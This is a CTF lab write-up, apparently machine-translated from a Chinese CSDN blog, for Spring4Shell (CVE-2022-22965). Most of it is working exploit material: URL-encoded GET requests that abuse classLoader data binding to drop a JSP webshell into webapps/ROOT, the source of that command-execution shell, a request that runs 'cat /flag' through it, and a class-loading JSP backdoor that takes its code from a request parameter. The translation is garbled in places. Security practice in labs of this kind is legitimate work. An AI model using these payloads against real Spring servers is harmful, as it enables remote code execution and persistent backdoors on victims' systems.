Spring Cloud Mirror: CVE-2022-22965 (Spring Framework JDK >= 9 vulnerabilidad de ejecución remota de código)

Tabla de contenido

1. Tema

2. Introduce el tema


1. Tema

 Introducción de destino:

Spring Framework es un marco básico de código abierto en Spring, y su propósito es simplificar la dificultad de desarrollo y el ciclo de desarrollo de las aplicaciones empresariales de Java. El 31 de marzo de 2022, VMware Tanzu publicó un informe de vulnerabilidad. Spring Framework tiene una ejecución remota de código. Las aplicaciones Spring MVC o Spring WebFlux que se ejecutan en JDK 9+ pueden ser vulnerables a la ejecución remota de código (RCE) a través del enlace de datos.

2. Introduce el tema

 Pregunte por POC directamente:

class.module.classLoader.resources.context.parent.pipeline.first.pattern=webshell
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp文件类型
class.module.classLoader.resources.context.parent.pipeline.first.directory=shell的储存路径(相对路径,默认为webapps/ROOT)
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell文件名 
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=(文件日期格式(实际构造为空值即可))

Burp captura paquetes:

 Subcontratación:

 Reempaquetado:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1

suffix: %>//
c1: Runtime
c2: <%
DNT: 1


//空两行 不然打不进去 我也不知道为啥

codigo java:

%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); 
    int a = -1; byte[] b = new byte[2048]; 
    while((a=in.read(b))!=-1){
           out.println(new String(b)); 
    } 
} %{suffix}i&
<% if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); 
	int a = -1; byte[] b = new byte[2048];
        while((a=in.read(b))!=-1){
        	out.println(new String(b)); 
	}
}%>

Principalmente agregue los datos en el cuadro rojo y modifíquelos capturando paquetes (dos líneas en blanco). 

Enviar y hacer eco 200, lo que demuestra el éxito:

 acceso:

http://xxx.ichunqiu.com:8080/shell.jsp?pwd=j&cmd=cat /flag

 bandera{07f20187-73fc-46ae-a01f-671e30e01b6f}

Método de espada de hormiga:

POC de Gran Hermano:

GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%25%7Bc2%7Di%20if(%22fuck%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20%7D%20%25%7Bsuffix%7Di&
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&
class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck&
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
 
suffix: %>//
c1: Runtime
c2: <%

La explicación del grandullón:

首先对suffix(后缀名)、c1(路径)、c2(文件名)参数进行替换。
经过处理之后,有些java基础的人已经看出来了这是一个写入webshell的语法
首先判断pwd是否是fuck,如果通过就执行cmd命令
 
写入一句话木马,我们可以通过中国蚁进行连接,密码就是参数名pwd    
GET 
/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=
<% if("fuck".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); 
	int a = -1; byte[] b = new byte[2048];
        while((a=in.read(b))!=-1){
        	out.println(new String(b)); 
	}
}%>//
&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp				//后缀名是jsp
&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT	//路径是webapps/ROOT
&class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuck				//文件名字是fuck
&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1

 

bandera{2efdde96-1c20-4672-8a23-05855d7b7654} 

la contraseña es contraseña  

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

 Si desea reproducirse con éxito aquí, debe configurar un campo de tiro ambiental o tener su propio servidor IP de red pública (porque i Chunqiu se implementa en la red pública)

 Los pasos son probablemente estos, pero no hay una IP de red pública ni un entorno para configurarlo usted mismo. . .

 

Artículo de referencia:

Análisis de recurrencia de la vulnerabilidad Spring RCE CVE-2022-22965_@Camelus' Blog - CSDN Blog

Notas de reproducción de vulnerabilidades de Vluhub: CVE-2022-22965: Spring Framework_L_ergo's blog - CSDN blog

Supongo que te gusta

Origin blog.csdn.net/m0_65712192/article/details/131940771
Recomendado
Clasificación